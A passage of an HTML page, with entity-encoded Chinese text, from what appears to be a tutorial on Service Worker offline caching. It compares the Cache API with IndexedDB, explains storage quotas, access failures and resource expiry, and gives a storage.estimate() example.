href=\"#&#x672C;&#x5730;&#x5B58;&#x50A8;&#x7A7A;&#x95F4;&#x662F;&#x6709;&#x9650;&#x7684;\"><b></b>&#x672C;&#x5730;&#x5B58;&#x50A8;&#x7A7A;&#x95F4;&#x662F;&#x6709;&#x9650;&#x7684;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x8D44;&#x6E90;&#x7684;&#x5B58;&#x53D6;&#x8FC7;&#x7A0B;&#x53EF;&#x80FD;&#x4F1A;&#x5931;&#x8D25;\"><b></b>&#x8D44;&#x6E90;&#x7684;&#x5B58;&#x53D6;&#x8FC7;&#x7A0B;&#x53EF;&#x80FD;&#x4F1A;&#x5931;&#x8D25;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x5B58;&#x50A8;&#x7684;&#x8D44;&#x6E90;&#x53EF;&#x80FD;&#x4F1A;&#x8FC7;&#x671F;\"><b></b>&#x5B58;&#x50A8;&#x7684;&#x8D44;&#x6E90;&#x53EF;&#x80FD;&#x4F1A;&#x8FC7;&#x671F;</a></li></ul><li><span class=\"title-icon \"></span><a href=\"#&#x7F13;&#x5B58;&#x7BA1;&#x7406;&#x5B9E;&#x73B0;\"><b></b>&#x7F13;&#x5B58;&#x7BA1;&#x7406;&#x5B9E;&#x73B0;</a></li><ul><li><span class=\"title-icon \"></span><a href=\"#&#x6784;&#x9020;&#x51FD;&#x6570;\"><b></b>&#x6784;&#x9020;&#x51FD;&#x6570;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x83B7;&#x53D6;-cache-&#x548C;-db-&#x5BF9;&#x8C61;&#x5B9E;&#x4F8B;\"><b></b>&#x83B7;&#x53D6; cache &#x548C; db &#x5BF9;&#x8C61;&#x5B9E;&#x4F8B;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x5199;&#x5165;&#x8D44;&#x6E90;&#x7684;&#x540C;&#x65F6;&#x8BB0;&#x5F55;&#x8D44;&#x6E90;&#x8FC7;&#x671F;&#x65F6;&#x95F4;\"><b></b>&#x5199;&#x5165;&#x8D44;&#x6E90;&#x7684;&#x540C;&#x65F6;&#x8BB0;&#x5F55;&#x8D44;&#x6E90;&#x8FC7;&#x671F;&#x65F6;&#x95F4;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x8BFB;&#x53D6;&#x8D44;&#x6E90;&#x65F6;&#x6392;&#x9664;&#x8FC7;&#x671F;&#x8D44;&#x6E90;\"><b></b>&#x8BFB;&#x53D6;&#x8D44;&#x6E90;&#x65F6;&#x6392;&#x9664;&#x8FC7;&#x671F;&#x8D44;&#x6E90;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x8FC7;&#x671F;&#x8D44;&#x6E90;&#x6E05;&#x7406;&#x65B9;&#x6CD5;&#x5B9E;&#x73B0;\"><b></b>&#x8FC7;&#x671F;&#x8D44;&#x6E90;&#x6E05;&#x7406;&#x65B9;&#x6CD5;&#x5B9E;&#x73B0;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x5229;&#x7528;-cachewrapper-&#x5B9E;&#x73B0;&#x5BF9;&#x8D44;&#x6E90;&#x7684;&#x8FC7;&#x671F;&#x7BA1;&#x7406;\"><b></b>&#x5229;&#x7528; CacheWrapper &#x5B9E;&#x73B0;&#x5BF9;&#x8D44;&#x6E90;&#x7684;&#x8FC7;&#x671F;&#x7BA1;&#x7406;</a></li></ul></ul></ul></div><a href=\"#&#x672C;&#x5730;&#x5B58;&#x50A8;&#x7BA1;&#x7406;\" id=\"anchorNavigationExGoTop\"><i class=\"fa fa-arrow-up\"></i></a><h1 id=\"&#x672C;&#x5730;&#x5B58;&#x50A8;&#x7BA1;&#x7406;\"><a name=\"&#x672C;&#x5730;&#x5B58;&#x50A8;&#x7BA1;&#x7406;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x672C;&#x5730;&#x5B58;&#x50A8;&#x7BA1;&#x7406;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x672C;&#x5730;&#x5B58;&#x50A8;&#x7BA1;&#x7406;\" class=\"plugin-anchor\" href=\"#&#x672C;&#x5730;&#x5B58;&#x50A8;&#x7BA1;&#x7406;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x672C;&#x5730;&#x5B58;&#x50A8;&#x7BA1;&#x7406;</h1>\n<p>&#x5728;&#x4E0A;&#x4E00;&#x8282;&#x89E3;&#x51B3;&#x4E86;&#x5982;&#x4F55;&#x5BF9;&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x8FDB;&#x884C;&#x62E6;&#x622A;&#x4EE3;&#x7406;&#x4E4B;&#x540E;&#xFF0C;&#x8981;&#x5B9E;&#x73B0;&#x7F51;&#x9875;&#x7684;&#x79BB;&#x7EBF;&#x7F13;&#x5B58;&#x8FD8;&#x9700;&#x8981;&#x89E3;&#x51B3;&#x672C;&#x5730;&#x5B58;&#x50A8;&#x7684;&#x9009;&#x62E9;&#x4E0E;&#x7BA1;&#x7406;&#x95EE;&#x9898;&#x3002;</p>\n<p>&#x4ECE;&#x524D;&#x9762;&#x5B66;&#x4E60;&#x4E2D;&#x6211;&#x4EEC;&#x77E5;&#x9053;&#xFF0C;&#x5904;&#x4E8E;&#x540C;&#x4E00;&#x4F5C;&#x7528;&#x57DF;&#x4E0B;&#x7684;&#x7F51;&#x9875;&#x4F1A;&#x5171;&#x7528;&#x4E00;&#x4E2A; Service Worker &#x7EBF;&#x7A0B;&#xFF0C;&#x8FD9;&#x4E2A; Service Worker &#x4F1A;&#x540C;&#x65F6;&#x5904;&#x7406;&#x6765;&#x81EA;&#x4E0D;&#x540C;&#x9875;&#x9762;&#x7684;&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x7684;&#x62E6;&#x622A;&#x548C;&#x54CD;&#x5E94;&#xFF0C;&#x56E0;&#x6B64;&#x57FA;&#x4E8E;&#x6027;&#x80FD;&#x4E0A;&#x7684;&#x8003;&#x8651;&#xFF0C;Service Worker &#x5728;&#x8BBE;&#x8BA1;&#x6807;&#x51C6;&#x65F6;&#x5C31;&#x8981;&#x6C42;&#x4E86;&#x4EFB;&#x4F55;&#x8017;&#x65F6;&#x64CD;&#x4F5C;&#x90FD;&#x5FC5;&#x987B;&#x5F02;&#x6B65;&#x5B9E;&#x73B0;&#x3002;&#x8FD9;&#x4E5F;&#x5C31;&#x5BFC;&#x81F4;&#x4E86;&#x5728; Service Worker &#x4F5C;&#x7528;&#x57DF;&#x4E0B;&#x80FD;&#x591F;&#x4F7F;&#xFF0C;&#x524D;&#x53EA;&#x6709; Cache API &#x548C; IndexedDB&#xFF0C;&#x56E0;&#x4E3A;&#x76EE;&#x524D;&#x53EA;&#x6709;&#x4E8C;&#x8005;&#x5728;&#x529F;&#x80FD;&#x5B9E;&#x73B0;&#x4E0A;&#x5168;&#x90E8;&#x91C7;&#x7528;&#x4E86;&#x5F02;&#x6B65;&#x5F62;&#x5F0F;&#xFF0C;&#x800C;&#x5176;&#x4ED6;&#x8BF8;&#x5982; localStorage &#x5C5E;&#x4E8E;&#x540C;&#x6B65;&#x65B9;&#x6CD5;&#xFF0C;&#x56E0;&#x6B64;&#x65E0;&#x6CD5;&#x5728; Service Worker &#x4E2D;&#x4F7F;&#x7528;&#x3002;</p>\n<p>&#x5173;&#x4E8E; Cache API &#x548C; IndexedDB &#x5728;&#x7B2C;&#x4E09;&#x7AE0;&#x57FA;&#x7840;&#x6280;&#x672F;&#x7684;&#x7B80;&#x4ECB;&#x5F53;&#x4E2D;&#x5DF2;&#x7ECF;&#x505A;&#x4E86;&#x8BE6;&#x7EC6;&#x4ECB;&#x7ECD;&#xFF0C;&#x56E0;&#x6B64;&#x672C;&#x8282;&#x7684;&#x91CD;&#x70B9;&#x5C06;&#x4E3B;&#x8981;&#x653E;&#x5728;&#x4E8C;&#x8005;&#x7684;&#x5BF9;&#x6BD4;&#xFF0C;&#x5206;&#x6790;&#x4E8C;&#x8005;&#x7684;&#x4F7F;&#x7528;&#x573A;&#x666F;&#xFF0C;&#x5728;&#x4F7F;&#x7528;&#x65F6;&#x9700;&#x8981;&#x5173;&#x5FC3;&#x7684;&#x6CE8;&#x610F;&#x4E8B;&#x9879;&#x7B49;&#x65B9;&#x9762;&#xFF0C;&#x5E76;&#x5728;&#x6700;&#x540E;&#x4E3E;&#x4F8B;&#x8BF4;&#x660E;&#x5982;&#x4F55;&#x7ED3;&#x5408;&#x4E24;&#x79CD;&#x5B58;&#x50A8;&#x65B9;&#x5F0F;&#x6765;&#x5B9E;&#x73B0;&#x79BB;&#x7EBF;&#x7F13;&#x5B58;&#x7684;&#x3002;</p>\n<h2 id=\"cache-api-&#x4E0E;-indexeddb-&#x7684;&#x5E94;&#x7528;&#x573A;&#x666F;\"><a name=\"cache-api-&#x4E0E;-indexeddb-&#x7684;&#x5E94;&#x7528;&#x573A;&#x666F;\" class=\"anchor-navigation-ex-anchor\" href=\"#cache-api-&#x4E0E;-indexeddb-&#x7684;&#x5E94;&#x7528;&#x573A;&#x666F;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"cache-api-&#x4E0E;-indexeddb-&#x7684;&#x5E94;&#x7528;&#x573A;&#x666F;\" class=\"plugin-anchor\" href=\"#cache-api-&#x4E0E;-indexeddb-&#x7684;&#x5E94;&#x7528;&#x573A;&#x666F;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>Cache API &#x4E0E; IndexedDB &#x7684;&#x5E94;&#x7528;&#x573A;&#x666F;</h2>\n<p>Cache API &#x662F;&#x4E3A;&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x4E0E;&#x54CD;&#x5E94;&#x7684;&#x5B58;&#x50A8;&#x91CF;&#x8EAB;&#x5B9A;&#x505A;&#x7684;&#xFF0C;&#x5B83;&#x91C7;&#x7528;&#x4E86;&#x952E;&#x503C;&#x5BF9;&#x7684;&#x6570;&#x636E;&#x6A21;&#x578B;&#x5B58;&#x50A8;&#x683C;&#x5F0F;&#xFF0C;&#x4EE5;&#x8BF7;&#x6C42;&#x5BF9;&#x8C61;&#x4E3A;&#x952E;&#x3001;&#x54CD;&#x5E94;&#x5BF9;&#x8C61;&#x4E3A;&#x503C;&#xFF0C;&#x6B63;&#x597D;&#x5BF9;&#x5E94;&#x4E86;&#x53D1;&#x8D77;&#x7F51;&#x7EDC;&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x65F6;&#x8BF7;&#x6C42;&#x4E0E;&#x54CD;&#x5E94;&#x4E00;&#x4E00;&#x5BF9;&#x5E94;&#x7684;&#x5173;&#x7CFB;&#x3002;&#x56E0;&#x6B64; Cache API &#x9002;&#x7528;&#x4E8E;&#x8BF7;&#x6C42;&#x54CD;&#x5E94;&#x7684;&#x672C;&#x5730;&#x5B58;&#x50A8;&#x3002;</p>\n<p>IndexedDB &#x5219;&#x662F;&#x4E00;&#x79CD;&#x975E;&#x5173;&#x7CFB;&#x578B;&#xFF08;NoSQL&#xFF09;&#x6570;&#x636E;&#x5E93;&#xFF0C;&#x5B83;&#x7684;&#x5B58;&#x50A8;&#x5BF9;&#x8C61;&#x4E3B;&#x8981;&#x662F;&#x6570;&#x636E;&#xFF0C;&#x6BD4;&#x5982;&#x6570;&#x5B57;&#x3001;&#x5B57;&#x7B26;&#x4E32;&#x3001;Plain Objects&#x3001;Array &#x7B49;&#xFF0C;&#x4EE5;&#x53CA;&#x5C11;&#x91CF;&#x7279;&#x6B8A;&#x5BF9;&#x8C61;&#x6BD4;&#x5982; Date&#x3001;RegExp&#x3001;Map&#x3001;Set &#x7B49;&#x7B49;&#xFF0C;&#x5BF9;&#x4E8E; Request&#x3001;Response &#x8FD9;&#x4E9B;&#x662F;&#x65E0;&#x6CD5;&#x76F4;&#x63A5;&#x88AB; IndexedDB &#x5B58;&#x50A8;&#x7684;&#x3002;</p>\n<p>&#x53EF;&#x4EE5;&#x770B;&#x5230;&#xFF0C;Cache API &#x548C; IndexedDB &#x5728;&#x529F;&#x80FD;&#x4E0A;&#x662F;&#x4E92;&#x8865;&#x7684;&#x3002;&#x5728;&#x8BBE;&#x8BA1;&#x672C;&#x5730;&#x8D44;&#x6E90;&#x7F13;&#x5B58;&#x65B9;&#x6848;&#x65F6;&#x901A;&#x5E38;&#x4EE5; Cache API &#x4E3A;&#x4E3B;&#xFF0C;&#x4F46;&#x5728;&#x4E00;&#x4E9B;&#x590D;&#x6742;&#x7684;&#x573A;&#x666F;&#x4E0B;&#xFF0C;Cache API &#x8FD9;&#x79CD;&#x8BF7;&#x6C42;&#x4E0E;&#x54CD;&#x5E94;&#x4E00;&#x4E00;&#x5BF9;&#x5E94;&#x7684;&#x5F62;&#x5F0F;&#x5B58;&#x5728;&#x7740;&#x5C40;&#x9650;&#x6027;&#xFF0C;&#x56E0;&#x6B64;&#x9700;&#x8981;&#x7ED3;&#x5408;&#x4E0A;&#x529F;&#x80FD;&#x4E0A;&#x66F4;&#x4E3A;&#x7075;&#x6D3B;&#x7684; IndexedDB&#xFF0C;&#x901A;&#x8FC7; IndexedDB &#x5B58;&#x53D6;&#x4E00;&#x4E9B;&#x5173;&#x952E;&#x7684;&#x6570;&#x636E;&#x4FE1;&#x606F;&#xFF0C;&#x8F85;&#x52A9; Cache API &#x8FDB;&#x884C;&#x8D44;&#x6E90;&#x7BA1;&#x7406;&#x3002;</p>\n<h2 id=\"&#x7F13;&#x5B58;&#x7BA1;&#x7406;&#x6CE8;&#x610F;&#x4E8B;&#x9879;\"><a name=\"&#x7F13;&#x5B58;&#x7BA1;&#x7406;&#x6CE8;&#x610F;&#x4E8B;&#x9879;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x7F13;&#x5B58;&#x7BA1;&#x7406;&#x6CE8;&#x610F;&#x4E8B;&#x9879;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x7F13;&#x5B58;&#x7BA1;&#x7406;&#x6CE8;&#x610F;&#x4E8B;&#x9879;\" class=\"plugin-anchor\" href=\"#&#x7F13;&#x5B58;&#x7BA1;&#x7406;&#x6CE8;&#x610F;&#x4E8B;&#x9879;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x7F13;&#x5B58;&#x7BA1;&#x7406;&#x6CE8;&#x610F;&#x4E8B;&#x9879;</h2>\n<p>&#x5728;&#x8FDB;&#x884C;&#x672C;&#x5730;&#x5B58;&#x50A8;&#x5F00;&#x53D1;&#x7684;&#x65F6;&#x5019;&#xFF0C;&#x9700;&#x8981;&#x6CE8;&#x610F;&#x4EE5;&#x4E0B;&#x51E0;&#x4E2A;&#x95EE;&#x9898;&#x3002;</p>\n<h3 id=\"&#x672C;&#x5730;&#x5B58;&#x50A8;&#x7A7A;&#x95F4;&#x662F;&#x6709;&#x9650;&#x7684;\"><a name=\"&#x672C;&#x5730;&#x5B58;&#x50A8;&#x7A7A;&#x95F4;&#x662F;&#x6709;&#x9650;&#x7684;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x672C;&#x5730;&#x5B58;&#x50A8;&#x7A7A;&#x95F4;&#x662F;&#x6709;&#x9650;&#x7684;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x672C;&#x5730;&#x5B58;&#x50A8;&#x7A7A;&#x95F4;&#x662F;&#x6709;&#x9650;&#x7684;\" class=\"plugin-anchor\" href=\"#&#x672C;&#x5730;&#x5B58;&#x50A8;&#x7A7A;&#x95F4;&#x662F;&#x6709;&#x9650;&#x7684;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x672C;&#x5730;&#x5B58;&#x50A8;&#x7A7A;&#x95F4;&#x662F;&#x6709;&#x9650;&#x7684;</h3>\n<p>&#x4EFB;&#x4F55;&#x7F13;&#x5B58;&#x90FD;&#x662F;&#x6709;&#x5BB9;&#x91CF;&#x5927;&#x5C0F;&#x9650;&#x5236;&#x7684;&#xFF0C;Cache API &#x548C; IndexedDB &#x90FD;&#x4E0D;&#x4F8B;&#x5916;&#x3002;&#x4E0D;&#x540C;&#x7684;&#x6D4F;&#x89C8;&#x5668;&#x5728;&#x5206;&#x914D;&#x7B56;&#x7565;&#x4E0A;&#x53EF;&#x80FD;&#x5B58;&#x5728;&#x4E0D;&#x540C;&#xFF0C;&#x4E00;&#x822C;&#x90FD;&#x4F1A;&#x5206;&#x914D;&#x51FA;&#x4E00;&#x4E2A;&#x8F83;&#x5927;&#x7684;&#x5B58;&#x50A8;&#x7A7A;&#x95F4;&#x6765;&#x4F9B;&#x8FD9;&#x4E9B;&#x5B58;&#x50A8; API &#x4F7F;&#x7528;&#x3002;&#x6D4F;&#x89C8;&#x5668;&#x901A;&#x5E38;&#x4E0D;&#x4F1A;&#x4E3B;&#x52A8;&#x6E05;&#x9664;&#x7F13;&#x5B58;&#x8D44;&#x6E90;&#xFF0C;&#x4F46;&#x662F;&#x5982;&#x679C;&#x6570;&#x636E;&#x5B58;&#x50A8;&#x5BB9;&#x91CF;&#x8F83;&#x5927;&#x4EE5;&#x81F3;&#x4E8E;&#x8D85;&#x51FA;&#x6D4F;&#x89C8;&#x5668;&#x914D;&#x989D;&#x65F6;&#xFF0C;&#x8FD9;&#x65F6;&#x4FBF;&#x65E0;&#x6CD5;&#x5199;&#x5165;&#x8D44;&#x6E90;&#x5BFC;&#x81F4;&#x5B58;&#x50A8;&#x5931;&#x8D25;&#x3002;</p>\n<p>&#x8FD9;&#x65F6;&#x6D4F;&#x89C8;&#x5668;&#x4F1A;&#x91C7;&#x7528; LRU&#xFF08;Least Recently Used&#xFF09;&#x7B97;&#x6CD5;&#x6839;&#x636E;&#x6570;&#x636E;&#x7684;&#x5386;&#x53F2;&#x8BBF;&#x95EE;&#x8BB0;&#x5F55;&#x6765;&#x6DD8;&#x6C70;&#x6570;&#x636E;&#x4EE5;&#x6E05;&#x7406;&#x51FA;&#x53EF;&#x5B58;&#x50A8;&#x7A7A;&#x95F4;&#xFF0C;&#x4F46;&#x8FD9;&#x4E2A;&#x884C;&#x4E3A;&#x5C5E;&#x4E8E;&#x6D4F;&#x89C8;&#x5668;&#x7684;&#x4E3B;&#x52A8;&#x884C;&#x4E3A;&#x4E0D;&#x53D7;&#x5F00;&#x53D1;&#x8005;&#x6240;&#x63A7;&#x5236;&#xFF0C;&#x53EF;&#x80FD;&#x4F1A;&#x5BFC;&#x81F4;&#x8FD9;&#x90E8;&#x5206;&#x88AB;&#x6E05;&#x7406;&#x7684;&#x7F13;&#x5B58;&#x8D44;&#x6E90;&#x8BBF;&#x95EE;&#x5931;&#x8D25;&#x3002;</p>\n<p>&#x56E0;&#x6B64;&#x5728;&#x8BBE;&#x8BA1;&#x7F13;&#x5B58;&#x65B9;&#x6848;&#x65F6;&#xFF0C;&#x5E94;&#x8BE5;&#x505A;&#x597D;&#x7F13;&#x5B58;&#x8D44;&#x6E90;&#x7684;&#x8FC7;&#x671F;&#x5931;&#x6548;&#x548C;&#x6E05;&#x7406;&#x5DE5;&#x4F5C;&#xFF0C;&#x5C3D;&#x91CF;&#x907F;&#x514D;&#x88AB;&#x52A8;&#x89E6;&#x53D1;&#x6D4F;&#x89C8;&#x5668;&#x7684;&#x8D44;&#x6E90;&#x6E05;&#x7406;&#x3002;&#x540C;&#x65F6;&#x4E3A;&#x4E86;&#x6EE1;&#x8DB3;&#x66F4;&#x52A0;&#x7CBE;&#x7EC6;&#x5316;&#x7684;&#x7F13;&#x5B58;&#x7BA1;&#x7406;&#xFF0C;&#x6D4F;&#x89C8;&#x5668;&#x63D0;&#x4F9B;&#x4E86; StorageEstimate API &#x53BB;&#x67E5;&#x8BE2;&#x5F53;&#x524D;&#x7F13;&#x5B58;&#x7A7A;&#x95F4;&#x7684;&#x4F7F;&#x7528;&#x60C5;&#x51B5;&#xFF0C;&#x8FD9;&#x6837;&#x6211;&#x4EEC;&#x5C31;&#x53EF;&#x4EE5;&#x5229;&#x7528;&#x8FD9;&#x4E9B;&#x6570;&#x636E;&#x6765;&#x66F4;&#x597D;&#x5730;&#x7BA1;&#x7406;&#x7F13;&#x5B58;&#x8D44;&#x6E90;&#x3002;&#x5176;&#x4F7F;&#x7528;&#x65B9;&#x6CD5;&#x5982;&#x4E0B;&#x6240;&#x793A;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\">navigator<span class=\"token punctuation\">.</span>storage<span class=\"token punctuation\">.</span><span class=\"token function\">estimate</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">estimate</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token comment\">// &#x8BBE;&#x5907;&#x4E3A;&#x5F53;&#x524D;&#x57DF;&#x540D;&#x6240;&#x5206;&#x914D;&#x7684;&#x5B58;&#x50A8;&#x7A7A;&#x95F4;&#x603B;&#x5927;&#x5C0F;</span>\n    console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span>estimate<span class=\"token punctuation\">.</span>quota<span class=\"token punctuation\">)</span>\n    <span class=\"token comment\">// &#x5F53;&#x524D;&#x57DF;&#x540D;&#x5DF2;&#x7ECF;&#x4F7F;&#x7528;&#x7684;&#x5B58;&#x50A8;&#x7A7A;&#x95F4;&#x5927;&#x5C0F;</span>\n    console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span>estimate<span class=\"token punctuation\">.</span>usage<span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<h3 id=\"&#x8D44;&#x6E90;&#x7684;&#x5B58;&#x53D6;&#x8FC7;&#x7A0B;&#x53EF;&#x80FD;&#x4F1A;&#x5931;&#x8D25;\"><a name=\"&#x8D44;&#x6E90;&#x7684;&#x5B58;&#x53D6;&#x8FC7;&#x7A0B;&#x53EF;&#x80FD;&#x4F1A;&#x5931;&#x8D25;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x8D44;&#x6E90;&#x7684;&#x5B58;&#x53D6;&#x8FC7;&#x7A0B;&#x53EF;&#x80FD;&#x4F1A;&#x5931;&#x8D25;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x8D44;&#x6E90;&#x7684;&#x5B58;&#x53D6;&#x8FC7;&#x7A0B;&#x53EF;&#x80FD;&#x4F1A;&#x5931;&#x8D25;\" class=\"plugin-anchor\" href=\"#&#x8D44;&#x6E90;&#x7684;&#x5B58;&#x53D6;&#x8FC7;&#x7A0B;&#x53EF;&#x80FD;&#x4F1A;&#x5931;&#x8D25;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x8D44;&#x6E90;&#x7684;&#x5B58;&#x53D6;&#x8FC7;&#x7A0B;&#x53EF;&#x80FD;&#x4F1A;&#x5931;&#x8D25;</h3>\n<p>&#x8D44;&#x6E90;&#x5728;&#x5199;&#x5165;&#x5B58;&#x50A8;&#x548C;&#x8BFB;&#x53D6;&#x7684;&#x8FC7;&#x7A0B;&#x4E2D;&#x90FD;&#x5B58;&#x5728;&#x5931;&#x8D25;&#x7684;&#x53EF;&#x80FD;&#x3002;</p>\n<p>&#x5199;&#x5165;&#x5931;&#x8D25;&#x7684;&#x539F;&#x56E0;&#x6709;&#x5F88;&#x591A;&#xFF0C;&#x6BD4;&#x5982;&#x524D;&#x9762;&#x63D0;&#x5230;&#x7684;&#x5B58;&#x50A8;&#x8D44;&#x6E90;&#x5927;&#x5C0F;&#x8D85;&#x51FA;&#x6D4F;&#x89C8;&#x5668;&#x914D;&#x989D;&#x65F6;&#xFF0C;&#x5C31;&#x4F1A;&#x88AB;&#x6D4F;&#x89C8;&#x5668;&#x9650;&#x5236;&#x5199;&#x5165;&#x3002;&#x6B64;&#x5916;&#xFF0C;&#x5728;&#x9690;&#x8EAB;&#x6A21;&#x5F0F;&#x6216;&#x8005;&#x662F;&#x7528;&#x6237;&#x672A;&#x6388;&#x6743;&#x7684;&#x60C5;&#x51B5;&#x4E0B;&#xFF0C;&#x4E00;&#x4E9B;&#x6D4F;&#x89C8;&#x5668;&#x540C;&#x6837;&#x4E0D;&#x5141;&#x8BB8;&#x8FDB;&#x884C;&#x5B58;&#x50A8;&#x64CD;&#x4F5C;&#x3002;</p>\n<p>&#x672C;&#x5730;&#x7684;&#x5B58;&#x50A8;&#x8D44;&#x6E90;&#x662F;&#x5B8C;&#x5168;&#x53EF;&#x4EE5;&#x88AB;&#x7528;&#x6237;&#x8BBF;&#x95EE;&#x7684;&#xFF0C;&#x56E0;&#x6B64;&#x7528;&#x6237;&#x968F;&#x65F6;&#x53EF;&#x80FD;&#x5BF9;&#x8FD9;&#x4E9B;&#x5B58;&#x50A8;&#x8D44;&#x6E90;&#x8FDB;&#x884C;&#x4FEE;&#x67E5;&#x627E;&#x5BF9;&#x5E94;&#x8D44;&#x6E90;&#x6539;&#x6216;&#x5220;&#x9664;&#x3002;&#x4E00;&#x822C;&#x6765;&#x8BF4;&#x7528;&#x6237;&#x4FEE;&#x6539;&#x6570;&#x636E;&#x7684;&#x60C5;&#x51B5;&#x6BD4;&#x8F83;&#x5C11;&#x89C1;&#xFF0C;&#x4F46;&#x662F;&#x6E05;&#x9664;&#x6570;&#x636E;&#x8FD8;&#x662F;&#x5F88;&#x5E38;&#x89C1;&#x7684;&#xFF0C;&#x53EA;&#x8981;&#x7528;&#x6237;&#x4E3B;&#x52A8;&#x8FDB;&#x884C;&#x6D4F;&#x89C8;&#x5668;&#x6570;&#x636E;&#x6E05;&#x7406;&#x64CD;&#x4F5C;&#xFF0C;&#x5C31;&#x4F1A;&#x5BFC;&#x81F4;&#x5B58;&#x50A8;&#x6570;&#x636E;&#x7684;&#x4E22;&#x5931;&#x3002;</p>\n<p>&#x6240;&#x4EE5;&#x5E94;&#x8BE5;&#x968F;&#x65F6;&#x505A;&#x597D;&#x5B58;&#x53D6;&#x5931;&#x8D25;&#x65F6;&#x7684;&#x5F02;&#x5E38;&#x6355;&#x83B7;&#x4E0E;&#x964D;&#x7EA7;&#x65B9;&#x6848;&#xFF0C;&#x786E;&#x4FDD;&#x7A0B;&#x5E8F;&#x8FD0;&#x884C;&#x65F6;&#x4E0D;&#x4F1A;&#x51FA;&#x9519;&#x3002;</p>\n<h3 id=\"&#x5B58;&#x50A8;&#x7684;&#x8D44;&#x6E90;&#x53EF;&#x80FD;&#x4F1A;&#x8FC7;&#x671F;\"><a name=\"&#x5B58;&#x50A8;&#x7684;&#x8D44;&#x6E90;&#x53EF;&#x80FD;&#x4F1A;&#x8FC7;&#x671F;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x5B58;&#x50A8;&#x7684;&#x8D44;&#x6E90;&#x53EF;&#x80FD;&#x4F1A;&#x8FC7;&#x671F;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x5B58;&#x50A8;&#x7684;&#x8D44;&#x6E90;&#x53EF;&#x80FD;&#x4F1A;&#x8FC7;&#x671F;\" class=\"plugin-anchor\" href=\"#&#x5B58;&#x50A8;&#x7684;&#x8D44;&#x6E90;&#x53EF;&#x80FD;&#x4F1A;&#x8FC7;&#x671F;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x5B58;&#x50A8;&#x7684;&#x8D44;&#x6E90;&#x53EF;&#x80FD;&#x4F1A;&#x8FC7;&#x671F;</h3>\n<p>&#x5373;&#x4F7F;&#x5728;&#x5B58;&#x53D6;&#x8FC7;&#x7A0B;&#x6CA1;&#x6709;&#x53D1;&#x751F;&#x4EFB;&#x4F55;&#x610F;&#x5916;&#x7684;&#x524D;&#x63D0;&#x4E0B;&#xFF0C;&#x5B58;&#x50A8;&#x7684;&#x8D44;&#x6E90;&#x672C;&#x8EAB;&#x4E5F;&#x53EF;&#x80FD;&#x4F1A;&#x5B58;&#x5728;&#x8FC7;&#x671F;&#x5931;&#x6548;&#x7684;&#x95EE;&#x9898;&#x3002;&#x8D44;&#x6E90;&#x8FC7;&#x671F;&#x5C31;&#x610F;&#x5473;&#x7740;&#x8D44;&#x6E90;&#x662F;&#x65E0;&#x7528;&#x751A;&#x81F3;&#x9519;&#x8BEF;&#x7684;&#xFF0C;&#x4F7F;&#x7528;&#x8FD9;&#x4E9B;&#x8FC7;&#x671F;&#x8D44;&#x6E90;&#x4F1A;&#x5E26;&#x6765;&#x5404;&#x79CD;&#x610F;&#x60F3;&#x4E0D;&#x5230;&#x7684;&#x95EE;&#x9898;&#xFF0C;&#x56E0;&#x6B64;&#x8981;&#x53CA;&#x65F6;&#x505A;&#x597D;&#x8D44;&#x6E90;&#x7684;&#x66F4;&#x65B0;&#x548C;&#x65E7;&#x8D44;&#x6E90;&#x7684;&#x6E05;&#x7406;&#x5DE5;&#x4F5C;&#x3002;</p>\n<h2 id=\"&#x7F13;&#x5B58;&#x7BA1;&#x7406;&#x5B9E;&#x73B0;\"><a name=\"&#x7F13;&#x5B58;&#x7BA1;&#x7406;&#x5B9E;&#x73B0;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x7F13;&#x5B58;&#x7BA1;&#x7406;&#x5B9E;&#x73B0;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x7F13;&#x5B58;&#x7BA1;&#x7406;&#x5B9E;&#x73B0;\" class=\"plugin-anchor\" href=\"#&#x7F13;&#x5B58;&#x7BA1;&#x7406;&#x5B9E;&#x73B0;\"><i class=\"fa fa-link\" 